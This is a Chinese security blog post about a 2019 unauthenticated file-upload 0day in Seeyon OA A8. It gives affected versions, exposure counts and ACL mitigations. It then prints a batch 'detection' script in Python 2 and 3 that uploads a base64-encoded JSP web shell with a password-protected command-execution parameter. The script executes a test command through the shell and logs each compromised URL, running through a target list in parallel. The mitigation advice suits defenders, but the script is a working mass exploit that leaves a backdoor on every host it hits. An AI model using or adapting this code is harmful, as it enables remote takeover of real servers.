seeyon_rce致远getshell 0day poc批量检测脚本——致远 OA A8 Getshell 漏洞

本文主要是对于昨日大概晚间八点左右在网上出现的关于致远 OA A8 协同管理软件被曝存在远程代码执行漏洞0day，且目前已有漏洞被在野利用，在中、大型政府企业中都广泛使用。文末给出致远getshell 0day poc批量检测脚本（python版本）

已验证影响版本：

A8 V7.0 SP3

A8 V6.1 SP2

(V6.1 SP1 验证尚不存在，其他版本未验证)

漏洞成因：

致远 A8+ 某些版本系统，存在远程任意文件上传文件上传漏洞，并且无需登录即可触发。攻击者构造恶意文件，成功利用漏洞后可造成Getshell。同时该系统的漏洞点在于致远OA-A8系统的Servlet接口暴露，安全过滤处理措施不足，使得用户在无需认证的情况下实现任意文件上传。攻击者利用该漏洞，可在未授权的情况下，远程发送精心构造的网站后门文件，从而获取目标服务器权限，在目标服务器上执行任意代码。

影响范围：

通过知道创宇旗下ZoomEye网络空间搜索引擎搜索结果，全球共有29,425个致远OA系统开放记录，中国为29,247个大部分分布在北京、广东、四川等省。

目前利用代码已在野外公开，漏洞验证效果如下，成功getshell样例截图：

  

缓解措施：

漏洞位置为：/seeyon/htmlofficeservlet，可以对该地址配置ACL规则。

或者联系官方获取补丁程序，官网地址：http://www.seeyon.com/Info/constant.html

临时修补方案如下：

1、 配置URL访问控制策略；

2、在公网部署的致远A8+服务器，通过ACL禁止外网对“/seeyon/htmlofficeservlet”路径的访问；

3、 对OA服务器上的网站后门文件进行及时查杀。

附上验证POC，致远getshell 0day poc批量检测脚本如下：

使用方法：

批量检测url

在脚本同目录下建立url.txt

放入待检测的URL运行脚本

分别为python2和python3版本：

# Wednesday, 26 June 2019
# Author:nianhua
# Blog:https://github.com/nian-hua/
# python2 版本

import re
import requests
import base64
from multiprocessing import Pool, Manager

def send_payload(url):

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}

    payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U="

    payload = base64.b64decode(payload)

    try:

        r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload)

        r = requests.get(
            url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming')

        if "wangming" in r.text:

            return url

        else:

            return 0

    except:

        return 0

def remove_control_chars(s):
    control_chars = ''.join(map(unichr, range(0,32) + range(127,160)))

    control_char_re = re.compile('[%s]' % re.escape(control_chars))

    s = control_char_re.sub('', s)

    if 'http' not in s:

        s = 'http://' + s

    return s

def savePeopleInformation(url, queue):

    newurl = send_payload(url)

    if newurl != 0:

        fw = open('loophole.txt', 'a')
        fw.write(newurl + '\n')
        fw.close()

    queue.put(url)

def main():

    pool = Pool(10)

    queue = Manager().Queue()

    fr = open('url.txt', 'r')

    lines = fr.readlines()

    for i in lines:

        url = remove_control_chars(i)

        pool.apply_async(savePeopleInformation, args=(url, queue,))

    allnum = len(lines)

    num = 0

    while True:

        print queue.get()

        num += 1

        if num >= allnum:

            fr.close()

            break

if "__main__" == __name__:

    main()

# Wednesday, 26 June 2019
# Author:nianhua
# Blog:https://github.com/nian-hua/
# python3 版本

import re
import requests
import base64
from multiprocessing import Pool, Manager

def send_payload(url):

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}

    payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U="

    payload = base64.b64decode(payload)

    try:

        r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload)

        r = requests.get(
            url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming')

        if "wangming" in r.text:

            return url

        else:

            return 0

    except:

        return 0

def remove_control_chars(s):
    control_chars = ''.join(map(chr, list(range(0,32)) + list(range(127,160))))

    control_char_re = re.compile('[%s]' % re.escape(control_chars))

    s = control_char_re.sub('', s)

    if 'http' not in s:

        s = 'http://' + s

    return s

def savePeopleInformation(url, queue):

    newurl = send_payload(url)

    if newurl != 0:

        fw = open('loophole.txt', 'a')
        fw.write(newurl + '\n')
        fw.close()

    queue.put(url)

def main():

    pool = Pool(10)

    queue = Manager().Queue()

    fr = open('url.txt', 'r')

    lines = fr.readlines()

    for i in lines:

        url = remove_control_chars(i)

        pool.apply_async(savePeopleInformation, args=(url, queue,))

    allnum = len(lines)

    num = 0

    while True:

        print(queue.get())

        num += 1

        if num >= allnum:

            fr.close()

            break

if "__main__" == __name__:

    main()